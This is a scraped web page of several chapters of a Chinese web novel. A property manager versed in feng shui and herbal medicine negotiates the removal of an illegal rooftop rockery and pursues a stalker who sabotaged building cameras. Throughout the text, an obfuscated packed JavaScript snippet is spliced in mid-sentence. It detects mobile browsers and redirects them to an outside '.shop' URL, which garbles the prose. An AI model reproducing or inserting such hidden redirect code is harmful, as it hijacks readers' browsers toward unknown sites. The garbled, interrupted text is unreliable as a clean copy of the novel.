“我们现在正在和那家业主沟通拆除的事情，网络适当曝光可以，如果过度解读的话，恐怕会跑偏风向，对小区的房屋走势，还有居住在园区业主的心态都会不利。尤其怕有好事者做文章，那就不好收场了。舆论力量这把刀，一定要慎用。”我不卑不亢。 2号琢磨着我的话，又看着我刚直不阿的样子，佩服的竖起拇指。 “吕经理，我是一名娱记，平时也做一些社会调查，揭露不良现象，主要就是借助舆论的力量去整治破除，绝无恶意。你说的事情，这个角度确实是我应该关注的，你放心，回去我就把帖子删掉，因为我相信有你在，这件事一定能很好的解决。” 2号说完转身走了，留下我在原地心潮澎湃，别人给的信任，一下下敲击着我的心，我再一次被自己的工作价值感动。 2号排除了嫌疑，那就剩下3号了，可是我跟林皓盯了好几天，都没见到3号回来。 “看来十有八九就是他了，穆艳红出了事，他都不敢回来了。”林皓说。 我心里也是这么盘算的，可是他不回来，我们也不能搁置着老金家的事情，专门等3号啊。 “林哥，你继续盯着3号，我这几天要会会老金家的二叔。”我说。 “向荣，这事你的把握大吗？我的意思，咱得求稳啊，要不然风声传出去，以后你的口碑可就打了。”林皓提醒我。 其实我的心里也不是很有把握，听老金的话，那位二叔有两把刷子，我这也没系统的学习过，能跟人家切磋么？ 但是这些我没表现出来，我先和老金约了跟二叔沟通的时间，老金欣然应允，还传达过来说二叔一直在等我。 我先给王敬之打了个电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158089|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“师哥，你有没有听过这行里有个姓金的老头，挺厉害的，尤其在玄学方面。” “金？还真没等等，你说的不会是金算子吧？”王敬之突然想起来。 “金算子？他是谁啊？”我跟懵似的。 “金算子挺有名气的，据说常驻五台山闭关。他卜的卦基本没失手过，挺有名的。” 我的心凉了半截，这不废了么，这还咋说服老金拆违建，我不禁叹了口气。 “吕向荣，你小子咋个这么低落了，跟斗败的公鸡似的，金算子跟你有啥联系？”王敬之听出来我的颓丧，赶紧盘问。 于是我把整件事的来龙去脉给王敬之讲了一遍，谁知道，他对黄金罗盘更感兴趣，缠着我问那个东西的特征。 “师哥，我说你是不是想看我笑话？我可跟你说啊，你和我可属于同门，我要是跌了份儿，那也是你的脸上没光，你可别在那看笑话，小心我姥爷罚你抄小书。” 抄小书是我俩小时候犯了错误，或者没完成学业，姥爷惩罚我们的方 式，就是要把《黄帝内经》的某一章抄写一百遍，我俩深受其苦，都很惧怕。 “喂，你小子，嘴上能不能积点德，师傅都走了这么多年了，你还老拿出来说！” 这是我最喜欢王敬之的地方，绝对的尊师重道。 “那你说咋整？师哥，你得帮我啊，我心里没底。”我开始耍赖。 “你看你那点儿出息，别愁啦，明儿一早我就过去，我陪着你，给你打气！”王敬之说完挂断了电话。 我立刻开心到要起飞，心里有底了，即使是要丢脸，也还有王敬之陪着呢，怕啥！ 第二天王敬之早早就来了，穿了一身很正式的衣服，打扮的尤其帅气。 “师哥，你对我太好了，我太感动了，来，抱抱！”我作势亲近。 “滚滚滚，俩大老爷们抱什么抱，我说吕向荣你小子，这几年越学越滑头！待会儿你悠着点，看我眼色行事。”王敬之嘱咐我。 我朝他飞了个眼，意思收到。 第二十二章 交锋 我跟金二叔的第一次交锋在电话两端拉开帷幕，王敬之和金老作陪，电话开了免提。 “二叔好，久仰您的大名，我是吕向荣，金老所在物业小区的物业经理，今日打扰您，确实有一件很棘手的事情，需要您出手相助。”我谦虚的说明意图。 “吕经理客气了，我听大哥说，你也是同路人啊，你师父是？”对面的老人声音浑厚，不疾不徐。 “师傅？噢，我师傅就是我姥爷，他老人家姓许，已经过世多年了。”我赶紧回答。 “他老人家是比我们年龄还长的一辈了？我早年间确实结识过一个姓许的老郎中，不知道是不是你说的姥爷啊？”金二叔竟然还有这一段。 “二叔，我先跟您说一下现在这个棘手的事情，然后再和您详细说我姥爷的事吧。您不知道，我现在每天都睡不好、吃不好，就怕刮大风下大雨。您是修道之人，一定也讲究济世度人，现在您设计的这个贵穴，真的就像一个悬空的炸弹，只要掉落就容易伤人啊！”我着急的切入了主题。 “哦？吕经理，那是景致自身需要维修呀，让我大哥找工人来维修不就可以了吗？为什么要找我呢？”金二叔给我说哑了。 是啊，为什么一定要拆除呢？维修加固也是可以的。 胡闹！我心里骂自己，怎么就跟着人家拐弯了呢，我的目的是拆除它，这是违建，不能因为你一家的家运，影响了全小区的和谐啊！ 城市居住就是这样的特点，很多东西那是公共资源，大家都遵守规则，和谐共生，才是王道。 我看看王敬之，王敬之秒懂我的意思，清清嗓开了口：“金二叔，我是吕向荣的师哥王敬之，我们属于同门，是一个师傅。这个贵穴的事情不是加固那么简单啊！” “哦？大哥，看来我今天好运气啊，一下结识两位小友。敬之，你详细的说说，我愿闻其详。”金二叔很有大家风范。 “您看，这个道理其实很容易理解，贵穴虽好，但是建在公共区域，这不合适啊。咱们之前对它的理解，都是建筑在农村或者郊区，属于自己的一亩三分地上，现在把它挪到水泥森林里来，势必会有很多不良的影响。”王敬之说出了我的心声。 “可是据我所知，我大哥家住在顶楼，那片区域都是他自己房本上的面积，跟公共资源有什么关系呢？”金二叔有理有据。 我看了看金老，金老一副泰然自若的样子，看来修建之前也确实做了不少的功课。 “二叔，事情并不是像我们探讨的这么浅显和简单的，还有很多危害，比如建筑结构、防水和排水系统、消防、电气这些安全问题都要考虑的。”我顿了顿，干脆一吐为快。 “假山假景没经过专业结构工程师的评估和设计，可能导致原有建筑结构的承载能力超负荷。长期下来，可能引发结构裂缝、变形甚至倒塌的风险。不合理的排水设计可能导致积水，增加屋顶渗漏和结构损坏的风险，别的不说，现在已经有人因为落石受伤了。这一定不是您想看到的吧？而且贵穴一旦沾染血光，是不是也不合适呢！” 我说完以后，老金和王敬之都用钦佩的眼神看着我，搞得我还有点不好意思，不管了，这件事我一定要斗争到底。 “血光？大哥，确有其事？”金二叔问老金。 “是啊，前几天我和金铭出了一趟门，结果山脚那个位置松动，掉下去的石块把楼下一个大娘给砸伤了。不过没什么大碍，惊吓是有的。”老金有点避重就轻。 “吕经理，这样吧，我还有两天就可以出关了，你务必再等我两天，我亲自去一趟，也顺便和你认识一下。” 金二叔都把话说到这份上了，两天我如果都不等就有点不识抬举了，更何况，现在我就算是硬来，他们也不答应。 “好，二叔，那我就等您来！”电话挂断后，我和王敬之回到物业办公室。 “我说吕向荣啊，你着什么急，我本来想看看那个黄金罗盘的，你这一着急可好，啥也没看着。”王敬之抱怨。 “师哥，你看你，那玩意还能没啦，两天后你不就可以一睹为快了，好饭不怕晚。”我笑着把这个话题给岔过去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158090|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这时候，林皓从外面跑了进来，“快，向荣，3号回来了，快！” 我一听3号回来了，赶紧跟着林皓就跑了出去，边跑边喊：“师哥，等着我，先别走！” “这吕向荣，一天不够他忙的了。”王敬之嘟嘟囔囔的坐下。 3号确实回来了，可是，家门紧闭，林皓是在监控室看到3号进了小区门，就赶紧来通知我。 “林哥，你确定他回家了？”我问。 “确定啊，我看到他进了他家单元门，他不回家能去哪？”林皓说。 “可是，你看这门口像是回去了人的样子么？”我又问。 “你小子，是不是糊涂了，人家回家了肯定得关闭房门啊，难不成还得把鞋脱外边，告诉你我回来了啊？”林皓怼我。 “那倒不是，可是我总觉得怪怪的呢，总觉得哪里不对劲。”我摸着下巴，苦思冥想。 “哪里不对？你这么一说，我倒也觉得，这个家门口的视频看着怎么这么 假。”林皓说。 “假？”我一拍大腿，“我找到为什么监控拍不到人的答案了！” 林皓充满疑问的看着我，“快说，别卖关子！” “咱们这套监控设备是哪里给装的？”我直接就问。 “对啊，可能是安装的时候就在需要的位置设计了干扰了！”林皓转身回物业办公室找记录。 果然的，安装设备的公司派来的调试人员，其中有一个就是3号，真相就要揭晓了，我摩拳擦掌，一定要把他按住！ 我和林皓来到3号家敲门，说是物业查管网，没敲几下就有人来开门了 果然是3号的爸爸。“老爷子，又是您一个人在家呐？您儿子还没回来？”我问。 “儿子回来啦，在自己屋睡觉呢。怎么没几天又来查呢？前几天不是来过了么？”大爷记性还挺好。 “哦，是这样的大爷，您家啊，是主管线所在的位置，这一层都弄完，还要来主管线这里最后看一下。”林皓编了个瞎话。 第二十三章 3号是聋哑人 这工夫我们俩就被老爷子让进了屋。 我一眼就看到3号的房门紧闭，不知道是真的在休息，还是在做什么，怎么办呢？如何跟他打个照面呢？ 我苦思冥想，却没有任何可以实施的点子。 这时候3号卧室的门开了，看样子是要去卫生间方便，而且他没听到物业来了人。 真是天助我也，我和3号打了个照面，这身材、这眼神，不就是夜行者吗？ “夜行者，原来真的是你！”我一个箭步冲过去按住了他。 3号还没来得及反应就被我扭住胳膊，按在墙上，林皓也赶紧过来帮忙。 “你们干什么？我儿子怎么了？你们放开他，再不放开，我报警了！”老爷子喊起来。 “大爷，您确实得报警，我谢谢您！”我不容置疑的对大爷说。 3号不停的挣扎，却没有喊或者说话，我觉得这一点很好奇，难不成是个哑巴？ 警察来的很快，带3号回派出所的时候，他爸爸着急的问起来：“警察同志，你们为什么要把我儿子带走呀？他犯了什么法？他还年轻，你们可得查清楚啊！” “老爷子，最近小区发生了一起人身恐吓、伤害的恶性事件，我们怀疑这件事跟您儿子有关系，我们带他回去协助调查，您别担心，如果不是他干的，他很快就会回来。”警察耐心的解释着。 “警察同志，不可能吧，我儿子是聋哑人，他怎么可能去恐吓和伤害呢！”大爷说。 聋哑人？我愣住，怪不得他的眼神这么的丰富多变，敢情平时都是靠眼神交流的。 警察没有再回答老爷子，我们一行几人出了单元楼，警察给夜行者的手铐蒙住，带着他出了园区，上了警车。 我作为证人，也跟着回了派出所。 整个审讯过程进展的异常艰难，3号确实是一个聋哑人，警察找了一个懂哑语的过来讯问，但是却一无所获。 3号根本就不承认恐吓过穆艳红，甚至于否认认识穆艳红，因为没有直接证据，审讯被迫停止。 如果在24小时内，不能拿出直接证据证明他做过这件事，就得放他回家。 我想来想去，给警察提供建议，“同志，你们能黑进他的qq吗？他跟穆艳红的交流都是在qq上，这个应该可以作为证据吧？” “黑倒是能黑，但是这种手段取得的证据，到了法庭很可能不会被取信。而且现在关键的问题是，只是恐吓，没有发生任何人身伤亡或者是财产损失，这罪恐怕很难定。”警察说。 这算什么法呢？一定要有人员伤亡才行、才能重视，像现在这样没有产生无法挽回的后果，在这个时候去救人、教育人，难道不是更好吗？ 这些想法我没有说出来，我觉得自己还没资格说这样的话。 qq不能黑，他又不承认，只能让穆艳红来指认，但是当时这个人把浑身都武装的严严实实的，穆艳红怎么可能认出来。 我想到了监控设备安装的事情，于是和警察说了一下经过，先回物业取证。 我跟林皓给监控设备公司打了电话，让他们派管理人员过来，电话里大致说了一下事情经过。 对方相当重视，带着专业设备就来了。 结果经过测试发现，穆艳红的楼层、3号自己家，还有几个独居女士的楼层的监控设备都有问题。 “这是一个炸弹啊，向荣！今天不把他挖出来，之后指不定发生什么事。”林皓感慨。 我跟监控设备厂家的负责人说：“你们雇的员工现在搞事情，你们比我们专业，现在应该也看到了这事情的风险有多么大，这件事你们是要负责任的！设备出厂安装，你们都没有质检团队的吗？” 厂家的人陪着笑，说：“您别生气，这件事我们的管理确实有漏洞。这个员工他是残疾人，家里有困难，平时工作特别认真负责，从没出过差错，所以才没有走质检环节。” “现在他不认罪，你们说吧，怎么办？”我问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158091|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没有人员伤亡和财产损失，这罪定了也不会多大的吧？”厂家的人试探着问我。 “你们现在应该关心的是给定罪吧，罪小就不是犯罪么？你们也看到了，还有几个独居女士也被设计了，如果真的出现了不可挽回的伤害，你们也是有责任的！”我严肃的说。 厂家负责人知道了问题的严重性，也看到了我的坚持，答应到警察局作证。 可是，还是没有能直接证明那天晚上出现在穆艳红家门口的人就是3号的证据。 警察根据厂家提供的证据对3号做了教育和警示，因为还未出现恶果，警察准备放人。 我心里既担忧又嘀咕，眼看着要放虎归山，“警察同志，咱们这是不是放虎归山啊？万一以后有了什么事，可咋办？” “物业经理同志，你的担忧我们很理解，但是警察抓人能讲证据的。现在只有一个办法。”警察同志看着我说。 “什么办法？”我着急的问。 “你们物业可以未雨绸缪，监视他，如果可以在他实施犯罪的时候按在当场，那就谁也不用质疑了。” “啊”我默默的低头，心里知道这是唯一的 办法。 回到物业办公室，王敬之还在等我，看我蔫吧的回来了，笑眯眯的问我：“咋的啦？这么低落，没抓着人家？” “师哥，咱好不好不开玩笑，你明知道我这会儿烦。”我没心情和他贫。 “我说吕向荣，这也不像你的风格啊，你向来是来啥怼啥，就这么点小事儿就把你难住啦？你赶紧的，给我约老金大爷，我还要看黄金罗盘呢！”王敬之嘴巴一点不留情。 “黄金罗盘、黄金罗盘，你看着能咋滴，也不是你的，心里更痒痒！”我也给他泼凉水。 “你咋知道不会是我的？我心里有预感，我和那黄金罗盘有缘，它就是我的！”王敬之信誓旦旦。 我看着王敬之自信的表情，忽然就来了劲头，“这个夜行者我抓定了！” 第二十四章 机缘巧合 我和林皓轮班对3号进行了秘密监视，现在好的一面是所有的监控设备都被排查了一遍，全都更换上了好用的。 不好的一面是，3号失业了，也不出屋，我和林皓每天去那附近报道，想在短时间内按住他，成为了奢望，因为他不可能再轻易铤而走险。 穆艳红了解了事情的经过以后，也搬回了自己家，她知道嫌疑人就住在自己家对面，客厅的帘子就再也没拉开过。 日子貌似井然有序的度过，又暗地里波涛汹涌，直到金算子造访了物业办公室。 他其实并没有守约，原来说的两天后见，他竟然让我们等了一个星期。 这一个星期我是每天都看天气预报，每天祈祷着千万别有阴雨天气，心理压力紧绷到了极点。 好在有师哥王敬之日日夜夜的陪着我，自从他知道了黄金罗盘，就没有离开我的意思。 好像我就是那个打开黄金罗盘的钥匙，盯着我，就可以拥有它。 “师哥，认识你这么多年了，我咋不知道你这么财迷呢！”我想好好臭屁他一番。 “啥玩意财迷？我咋财迷了？”王敬之不服。 “你是不是看人家那罗盘是黄金的你就眼红了？非要占为己有，你不是财迷你是啥？”我白了他一眼。 “你懂几个问题呀！你知道黄金罗盘是咋回事吗，你就说我。”王敬之明显瞧不起我。 “你说说咋回事？不就是一个罗盘，它是黄金做的，你还是财迷啊！”我嘿嘿笑着。 王敬之狠狠的白了我一眼，然后说：“吕向荣你给我听好喽，亏得你还是得自师傅的真传，这么简单的事你都不知道。黄金罗盘在探测方位、判断地势等方面可以提供更精确的结果，尤其是测定方位和气场，它的结果更准确。” 我看了看王敬之因为辩解而涨红的脸，噗嗤一声乐了，“师哥，你从小我就认识你了，你啥样我还能不知道？看给你急的，知道你是学术为大，不是财迷噢，不是！” 王敬之生气的怼了我一拳，正好被进门的金算子撞见。 “二位小友好呀！我是金算子，请问你们哪位是吕向荣、哪位是王敬之？” 我和王敬之都愣住了，齐齐向进来的人看去，穿着朴素，脚蹬布鞋，中等身材，平头大眼，精神矍铄，看着能有五十岁上下的样子。 “金二叔，您来啦，快请坐！”我赶紧给他让座，王敬之也一脸恭敬的站在旁边。 金算子看了看我，不疾不徐的说：“如果我没猜错，你应该就是吕向荣，他是王敬之。” 我和王敬之互相看了看，心里想的内容都一样，“这老头还挺会猜。” “没错，金二叔，我就是吕向荣，这位是我师哥王敬之，我们俩等您很久了，您可终于来啦，嘿嘿嘿。”我笑了，我是真的开心了，违建的事终于可以解决了。 “好啊好啊，很高兴结识二位啊！来，都坐、都坐，我们好好聊聊。”金算子让我们落座。 我迫不及待的就先开口了，“二叔啊，您看，您今天特意跑了一趟，说明您对这违建的影响是很重视的，您今天就跟金老发布命令吧，拆了吧，好不好？” 王敬之用眼睛瞪了我一下，赶紧圆场，“金二叔，我师弟是在其位谋其政，不免着急，您别见笑。他这一个星期是茶饭不思，就怕再有人员伤亡，要不，我们先带您去现场看看？” 金算子一直微笑着，也不说话，我感叹王敬之临危不乱，亏得让他来给我坐镇。 我稳了稳心神，说：“二叔，我刚才确实有点着急，您别见笑！这违建的事您一定要再重新审视一下才好啊！” 金算子没头没脑的来了一句：“向荣，跟我说说你师傅许老吧。” “我姥爷？哦，对，您说您早年间也认识一位姓许的老郎中是吧？单看这些关键信息，是我姥爷的可能性很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158092|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大。” 于是我把我姥爷家住方位、姓名以及年龄和其它大概情况告诉了金算子。 “向荣，你姥爷确实就是我说的许老，看来真的是冥冥中自有定数啊，30年前他救了我一命，30年后，又因为这些术数，结识了他的徒弟。”金算子感慨的说。 “我姥爷救了您一命？具体情况是？”我和王敬之都很疑惑。 “我早年年轻气盛，嫉恶如仇，遇到事情不知变通，好发脾气，也常常多思多念。时间一长便开始有了经常性胸闷、气喘不匀，甚至于憋闷到好像要死掉的毛病。我一直以为是心脏的问题，也是当做心脏病去各大西医医院治疗的，可检查结果都是心脏没有器质性病变，查不出问题。”金算子慢悠悠的回忆着。 “但是只有我自己知道，真的难受的时候，我会觉得心脏周围的发射区都疼。再后来，我基本上无法起床，人也越来越消瘦，尤其害怕听到那种超重低音或者是看到重物从高处落下，我会觉得心慌的马上就要晕厥。吃速效救心丸、硝酸甘油，这些都没用。我老母亲愁的一夜白头，四处打听找民间名医帮我治病。” “后来经人介绍，认识了许老，我一共就喝了三副汤药，整个人就能下地走动、行动自如了，那种憋闷的感觉再也没有出现过。我特别感激他，也 对他的医术敬佩至极，买了很多礼品登门拜谢。” 金算子说到这里停住了，看看我和王敬之，然后说：“你们能做许老的徒弟，真的是有福气啊！你们看看我，是不是精神状态特别好？许老的药不只是救治了当时的顽疾，还让我至今身体健硕。” 我和王敬之都感慨着我姥爷的医术高超，金算子现在不但精神矍铄，气色红润，甚至于看着比我和王敬之都健康。 “既然有这么一层渊源，我理应帮你们，拆除这个设计。不过，你们那天还没有说服我，我想再听一听关于违建的弊端，你们还有什么说法。” 第二十五章 黄金罗盘 我一看这还是要辩论呀，要我把他说服了，绝对不能用他学的那些东西，我未必说的过他，我得从其它角度说。 我先给王敬之递了一个眼色，意思告诉他，如果我出糗了，让他及时顶上，王敬之给我回了个眼神，意思没问题。 “金二叔，关于违建的规定，我想您一定有所耳闻，它是没有经过规划主管部门批准，擅自建设的。它的危害那可太多了，违建在建设过程中，材料和工程质量难以保障容易发生安全事故，事实证明，现在已经砸到了人。金大爷家也因为这个赔了钱，现在网上的舆论也沸沸扬扬，根本就是偏离了你给设计的初衷，而且继续这样下去的话，金铭的工作声誉肯定也会受影响，这些难道还不够吗？” 我看着不说话的金算子，又补充：“再等一等，有关部门看见网传，来查的话，一定是责令限期拆除、罚款，或者强制拆除，你现在继续坚持，一点意义没有！” “向荣，你说的这些都对，现在既然影响这么恶劣了，坚持保留也很难。”金算子说。 “你对建筑设计这些了解吗？我听说我设计这个景致，是你发现叫贵穴的。你是怎么知道的？你了解多少？”金算子问我。 “我从小就喜欢钻研这些自然学科，建筑设计我没系统的学过，但是也大概明白一些设计的理念。至于贵穴嘛，我是在网上看到的。虽然关于它，风水学上有很多肯定，但是它更适用于村镇的地理环境，在城市高楼中设计这些，意义不大啊。要考虑建筑的位置、方向、楼层、内部布局等很多方面的。” 我停下来看看王敬之，他没什么表情，我知道那就是代表让我继续说。 “按风水学来解读，城市里高楼是山，马路是水，近水楼台先得月，山脚更容易接近水源，更容易产生人与人的交集、产生财富。每一块地都有地气，一般来说超过五层高的建筑，地气就开始弱了。楼层越高风就越大，越是不聚气，格局不佳。金老现在住的是十楼顶，弄个贵穴就是图个心理安慰吧，尤其现在还伤到了人，没意义啊，二叔！” 我一口气说完，先看看王敬之，王敬之回以我“很ok”的眼神，我的心算是放下了。 “向荣小友，果然让我刮目相看，看来许老的徒弟确实有本事啊！”金算子赞许的笑了。 “好，既然如此，我会告诉我大哥在三日内把全部建筑都拆除，这件事你不需要再担心啦。”金算子一锤定音。 我可是高兴坏了，这老头还真的是通情达理，不管是因为看在我姥爷给他治好了病的份上，还是真的被我叨叨叨的说服了，结局都不错。 “向荣，你可真是年轻有为啊，前途不可限量！”金算子由衷的感慨。 我被夸的有点不好意思，毕竟旁边还有王敬之在，他的能力也不是盖的。 “金二叔，我没有您说的那么好，我和我师哥王敬之一起跟我姥爷学习，在学习上他能举一反三，很多事情一点就通呢！”我隆重推出王敬之。 “哦？敬之，你还有这本事？”金算子惊讶的看向王敬之。 王敬之不好意思的挠挠头，看看金算子，说：“我也没那么好，只是自己平时爱研究这些而已。” 我们三个人谈话的氛围越来越融洽，我偷瞄了一下王敬之，后者正蠢蠢欲动的看着我。 我秒懂，“金二叔，向荣还有一个不情之请。” “向荣不用这么拘谨，有什么话直接说就是了。”金算子示意我但说无妨。 “前几日去金老家，看到金老拿着一个很小很精致的黄金罗盘，我师哥很想一睹为快。不知是否方便让我们开开眼。”我热切的看着金算子。 “黄金罗盘，哦，当然可以，那是我手中一个稀罕物件，放到大哥处保管的。走吧，我们这就去大哥家一睹为快。”金算子边说边起身往外走。 王敬之乐坏了，赶紧跟在后面。 “敬之，你喜欢黄金罗盘这些东西啊？”金算子边走边问。 “不瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158093|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金二叔，我自幼就对法器一类的物件十分痴迷，平日里经常自己学习了解，所以听向荣说有这样一件东西以后，就特别想看看。” 金算子带我们来到金老家，金老看到金算子亲自登门，那恭敬劲儿仿佛金算子才是大哥，赶忙把我们都让到屋内落座。 “大哥，好久未见，您这身体可还好？”金算子关心金老的身体。 “都好、都好，让你记挂了，这次还特意跑一趟，今天一定要留下来吃饭，我给你做点好吃的。”果真是兄弟情深啊。 我看看王敬之，心里不由得一热，人活一世，有至亲健在，是一种幸福。 “大哥，贵穴的事你就按我电话里说的拆除吧，这不是吕经理的问题，确实是我亲自勘验过，拆除对你们只有好处，没有坏处。”金算子当着我们的面又重申了这件事的重要性。 金老默默点头，再没有了那天的抵触情绪。 金算子看金老没有任何不快，又继续说：“大哥，我放在你处的黄金罗盘可还在？” “在、在，我去拿给你。”金老边说边走向里间，拿出一个红布小包。 我一看就是那天他拿在手里爱 不释手的小东西，赶紧给王敬之递眼色。 王敬之已经迫不及待，连我的示意都没空搭理。 “敬之，你看看是不是你书中写的罗盘。”金算子把小布包递给王敬之。 王敬之小心翼翼的打开，那种虔敬劲儿真让我意外，这小子竟然喜欢这些。 话说那黄金罗盘也确实惊艳，应该是被人经常把玩的原因，黄金的色泽柔和锃亮，罗盘上的符号和文字清晰可辩，因为小，显得尤其可爱精致。 金算子看着王敬之爱不释手，想也没想直接就说：“敬之，好物配有缘人，既然你这么喜爱它，我就将它作为见面礼，赠送与你。不用推辞，善用它、发挥价值就好。” 王敬之愣住了，幸福来的太突然了，连我都觉得不可思议。 第二十六章 凶案现场 “金二叔，这”王敬之一时不知说什么好。 “师哥，金二叔都这么说了，你就赶紧恭敬不如从命吧，好好发挥它的价值也是对它最大的善待啊！”我赶紧跟上。 王敬之向着金算子行了大礼，我偷瞄了一眼金老，后者倒是没有不悦的神情，说明这家人的相处之道确实清明。 违建的事情解决以后，我和王敬之送别了金算子，我心里如释重负，又开始盘算找刘才东的事。 王敬之有了黄金罗盘以后整天喜上眉梢，他看我已经解决了麻烦，就要告辞回家。 “师哥，你看你，咋还过河拆桥呢，不学好！”我挤兑他。 “咋？吕向荣你啥意思？我咋拆你桥了？”王敬之有点恼。 “拿到罗盘就想走是吧？刘才东失踪了，你答应跟我去看看情况，你忘啦？正好你这个罗盘能派上用场。”我提醒他。 王敬之一拍脑门，“你不说我可不忘了咋的，你小子，成天介用话挤兑我，小心哪天我跟你急！” “嘿嘿，师哥，你不会滴，我知道你对我最好了。”我故意弄出一副甜蜜兮兮的死样子给他看。 “滚，吕向荣你离我远点，男不男女不女的，招我烦！”王敬之气跑了。 “师哥，就这两天，你跟我去一趟噢！我跟林皓请假！”我一边喊一边笑，没事儿撩撩王敬之可太有意思了。 回过神来仔细想着刘才东的事，我又开始头疼了，那片区域地形复杂，以前我没有经历过，不知道这一次能不能应对这个挑战。 因为对案件经过了解的太少，我决定还是先会会林翔。 去刑警队之前我先给林翔打了一个电话，他在电话里很热情的跟我寒暄，挂电话前还告诉我他哪里也不去，就在队里等我。 我感叹士别三日当刮目相看，这林警官是遇到啥好事了，这么开心的欢迎我，可跟上一次天差地别。 第二天我早早的就去了刑警队，果不其然的，林翔早已在办公室等我，看到我到了，一张脸笑成了一朵花。 “吕向荣，欢迎你来！我说，你可真神了，你不给我打电话，我也想联系你呢！”林翔喋喋不休的说。 “林警官，这是发生啥事了？我怎么感觉你和上一次这么不一样，我做了啥？啥神了？”我发出一连串的疑问。 林翔安顿我坐下，给我倒了一杯热水，笑眯眯的说：“吕向荣，你上次说要给我开的方子，还做不做数？” 我一听就明白了，原来是为这事。“当然作数，怎么？林警官去检查了？” 林翔有点不好意思的摸摸头，我知道他是为上一次的不屑表示歉意。 “是啊，你走以后，恰好赶上单位体检，我就做了个全身检查，结果医生判定我是甲亢，建议我吃中药调理，我就立刻想到了你跟我说的药方。向荣啊，你就看看我的外况、问问我的表现、把个脉就能确定出西医用仪器做检测才出来的结果，真的是让我佩服！” 林翔由衷的对我作了个双手合十的动作，我被他感染，心里想着，这个警察还是个真性情，有什么说什么，挺好。 我问他要了笔和纸，给他写了药方，稳妥起见，我又给他把了把脉，明显又有恶化的表象。 写好方子，把怎么吃、注意什么、多久和我联系一次，我给他换个别药，都给他讲的明明白白的，这事才告一段落。 林翔收起方子，热情的看着我，说：“你这次来是要了解刘才东那个案子的详情？” 我点点头，“不瞒林警官，上一次从你这离开，我就去了一趟案发的小区，那片区域地气差、磁场混乱，我想了解清楚案件的细节，帮你、当然，主要是帮刘才东，尽快找到真相。” 林翔饶有兴味的看看我，“向荣，地气、磁场？听你这些术语，难不成你是搞封建迷信那套的？” 我心里不悦，他还真是口无遮拦，但我没有表现出来，像他这样的职业，不理解我做的这些术数，也很正常。 “不是。林警官，是不是封建迷信，日后你会知道的。我作为刘才东唯一的亲近之人，想了解一下可以了解的案情，这符合咱们的规定不？”我想速战速决，没有精力跟他掰扯为什么不是封建迷信。 林翔很诧异，想了想我说的也确实有道理，于是跟我介绍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158094|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些案情。 事发小区是较高端的住宅区，里面有别墅，也有多层，没有高层。别墅和别墅之间有一定的距离，所以每一户的私密性都很强。小区建成时间未满五年，园区内的入住率并不高。 